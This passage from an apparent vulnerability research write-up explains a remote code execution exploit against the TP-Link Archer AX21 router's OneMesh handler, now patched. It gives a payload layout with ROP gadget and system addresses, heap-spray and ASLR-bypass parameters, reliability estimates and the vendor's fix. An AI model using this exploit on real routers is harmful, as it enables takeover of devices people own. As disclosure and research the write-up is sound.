        0,0,0,0,         // sharedMemoryBuffer = 00000000
        83,0,0,0,        // i = 83
        0,0,0,0,         // json = 00000000
        0,2,2,2,         // frame pointer = 02020200
        200,31,1,0,      // rop gadget = 00011FC8
        192,22,2,2,      // system arg pointer = 020216C0
        44,35,1,0,       // system = 0001232C
        "ledcli USB_twinkle", // system arg
        "AAAAAAAAAAAAAAAA" // Dynamically Generated Allocated Request Size Padding

The onemeshSupportVersionArray pointer overwrites from the trigger will cause the overflow to continue with the above payload. This payload finishes the overflow by overwriting the remaining stack variables until the return address.

Executing an Arbitrary Command

To execute an arbitrary command, we chose to call the system function with our argument in register r0. At the end of the function, r0 contains the value of ret, however the data we overflow in ret is overwritten after our overflow so we can’t control it when the function returns. We work around this by using the ROP gadget “pop {r0, lr}; bx lr;” at address 0x00011fc8 which will pop the first value from the top of the stack into r0, then pop the next value from the top of the stack into the link register (lr) and jump to it.

Using this ROP gadget, we control both the command address that we wish to execute, and the system function address being called. We place the arbitrary command in our final payload JSON string in the array so that the address is an offset relative to 0x02020200.

The following diagram shows the stack at the end of the final overwrite, which triggers the ROP chain and results in system being called with our arbitary payload.

Stack   ROP Chain

The ledcli USB_twinkle switches on the USB led on the router, demonstrating remote code execution.

USB Twinkle LED

Final notes

Further Payload Generation VHeap Requirements

One problem with the generation of the payload is due to a malloc function call with the length of the TDP packet body before the request is processed. This means that we need to know the size of the packet body size to allocate it in VHeap before generating the request.

Another problem is that the system argument offset relative to the array address 0x02020200 may not always be a fixed size as the allocations occur in small sizes of 0x30. If one or more of these allocations fills an empty bin then the offset between the array address and the system argument string will be different.

Both of these two problems can be solved by first generating the request with a fixed size allocation of 0x400. We then retrieve the actual length of the newly generated request and calculate the system argument offset relative to the array address. We then use the real length plus a small amount of padding, and the system argument offsets to re-generate the request. We then fill the request with padding at the end to ensure the request length matches that of the allocated size. This is because the second generated request length may not be exactly the same as the first request length, but will be very close.

A final problem was that different allocations occured between requests when the contents of the configuration files /etc/config/sysmode and /etc/config/network changed. Originally this did not appear to be a problem as the content values were predictable as they contained network information and the string lengths were consistent. However, after some time of the router running it was observed that the order of key values in these configuration files changed depending on which external application last wrote to the configuration files. This resulted in a different order of malloc allocations in the heap at different points in time. One solution to this was to reset the router before running the exploit as the configuration file layout would be in a known order. An alternative solution would be to generate and cache the spray requests for both file orders and run the exploit multiple times using one cache at a time.

Reliability / Limitations

Any external requests sent between our requests will misalign VHeap and cause it to not work as the alignment will no longer match the router’s heap. This will only happen if TP-Link’s Mesh Wi-Fi is actually used though.

Likewise, if a single request we send is not received then it will not work. This is likely to happen if the delay between sending requests is too small due to the usage of the UDP protocol which does not guarantee delivery.

From testing various delays sent between spray requests it was determined that 150ms was the fastest reliable delay possible between sending requests without dropping a UDP request.

Finally, the total size of the final payload is 0x14A0 which exceeds the maximum alignment size of 0x1000. This means that instead of accurately spraying our payload every 0x1000 in memory, we instead can only spray it every 0x2000 in memory. Therefore, if we spray enough data to cover the ASLR slide we have a 50% chance that our spray will align on even addresses instead of odd addresses and we require the spray to land on even addresses to hit 0x02020200.

Based on an approximate maximum ASLR heap slide of 0x2100000 bytes, a prefill spray size of 0x1FB000 bytes, an average heap allocation size per request of 0x34C3 and a request sent every 150ms, we can determine the approximate time to spray the heap to reach a 50% reliability would be 6 minutes and 1 second. Including a maximum wait time for the initial broadcast of 30 seconds and a delay after crashing the broadcast fork of 2 seconds brings the total exploit time to approximately 6 minutes and 33 seconds.


TP-Link firmware Archer AX21(US)_V3.6_1.1.3 Build 20221125 patched this vulnerability by validating the onemesh_support_version array size does not exceed 32.

This can be seen in the following change to the processPacketMethod function:

onemeshSupportVersionArray = cJSON_GetObjectItem(jsonDataObject,"onemesh_support_version");
if ((onemeshSupportVersionArray != (cJSON *)0x0)    (onemeshSupportVersionArray->type == cJSON_Array))
    onemeshSupportVersionArraySize = cJSON_GetArraySize(onemeshSupportVersionArray);

    // The following "if" statement checks the array size does not exceed the onemesh_support_version array size
    if (onemeshSupportVersionArraySize >= 32)
        debugPrintf("tdpOneMesh.c:1202", "error, onemesh_support_version is too long, skip");
        goto LAB_0002a108;

    for (i = 0; i < onemeshSupportVersionArraySize; i++)
        onemeshSupportItem = cJSON_GetArrayItem(onemeshSupportVersionArray,i);
        if ((onemeshSupportItem == (cJSON *)0x0) || (onemeshSupportItem->type != cJSON_Number))
            debugPrintf("tdpOneMesh.c:1212","Invalid data format");
        _sharedMemoryClient.onemesh_support_version[i] = (uint8_t)onemeshSupportItem->valueint;
        debugPrintf("tdpOneMesh.c:1218","rcvIndex %d, rcvValue %d", i, onemeshSupportItem->valueint);

Pwn2Own Note

We initially did this research to use it for Pwn2Own 2022 Toronto but TP-Link released firmware version 1.1.3 a few days prior to the competition and therefore this vulnerability was no longer eligible.

Pwn2Own rules state “A contestant has up to three (3) attempts to succeed. Each of the three (3) attempts will be individually limited to a time period of five (5) minutes.”. Due to the time consuming heap spray of this exploit, the full heap spray to defeat ASLR could not be achieved within the 5 minute time limit. Instead, we had a maximum of 4 minutes 15 seconds to spray the heap due to the time waiting for the broadcast request as well as other delays. This meant that we could spray a maximum of 73.13% of the ASLR heap slide and therefore only 73.13% of the time our spray would have covered the 0x02020200 address depending on the ASLR heap start address. This chance combined with the 50% reliability chance of the payload landing on 0x02020200 resulted in an overall chance of 35.47% that the exploit would be successful. As stated in the Pwn2Own rules, we can have 3 attempts at the exploit therefore statistically one of our exploit attempts should have been successful for the contest.

Call us before you need us.

Our experts will help you.

Get in touch
%d bloggers like this: